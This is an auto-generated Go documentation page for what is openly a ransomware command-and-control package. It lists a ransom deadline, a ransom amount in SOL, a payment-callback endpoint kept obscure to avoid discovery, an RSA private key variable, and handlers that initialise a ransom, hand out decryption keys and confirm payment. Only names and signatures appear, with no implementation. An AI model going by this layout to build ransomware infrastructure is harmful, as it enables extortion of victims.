Documentation
¶
Index ¶
- Variables
- func IsLocalhost(r *http.Request) bool
- func NewResponseWriter() mockResponseWriter
- func ParseJSON(r *http.Request, v interface{}) error
- func SendJSON(w http.ResponseWriter, v interface{})
- func SendWebhook(uri string, v interface{})
- type Client
- type GetKeyBody
- type GetKeyResponse
- type InitRansomBody
- type InitRansomResponse
Constants ¶
This section is empty.
Variables ¶
View Source
var ( RansomDeadline = time.Duration(types.Config.C2.RansomDeadlineHours) * time.Hour RansomAmount = types.Config.C2.RansomAmountSOL // 1 SOL ~$200 // Used for the payment callback endpoint as extra security to prevent people from finding the endpoint PaymentCallbackSnowflake string RansomPaidEndpoint string RSAPrivateKey []byte )
Functions ¶
func IsLocalhost ¶
func NewResponseWriter ¶
func NewResponseWriter() mockResponseWriter
func SendJSON ¶
func SendJSON(w http.ResponseWriter, v interface{})
func SendWebhook ¶
func SendWebhook(uri string, v interface{})
Types ¶
type Client ¶
type Client struct {
// contains filtered or unexported fields
}
func (*Client) GetEncryptionKey ¶
func (c *Client) GetEncryptionKey(w http.ResponseWriter, r *http.Request)
func (*Client) InitalizeRansom ¶
func (c *Client) InitalizeRansom(w http.ResponseWriter, r *http.Request)
func (*Client) PaidCallback ¶
func (c *Client) PaidCallback(w http.ResponseWriter, r *http.Request)
type GetKeyBody ¶
type GetKeyResponse ¶
type InitRansomBody ¶
type InitRansomResponse ¶
Click to show internal directories.
Click to hide internal directories.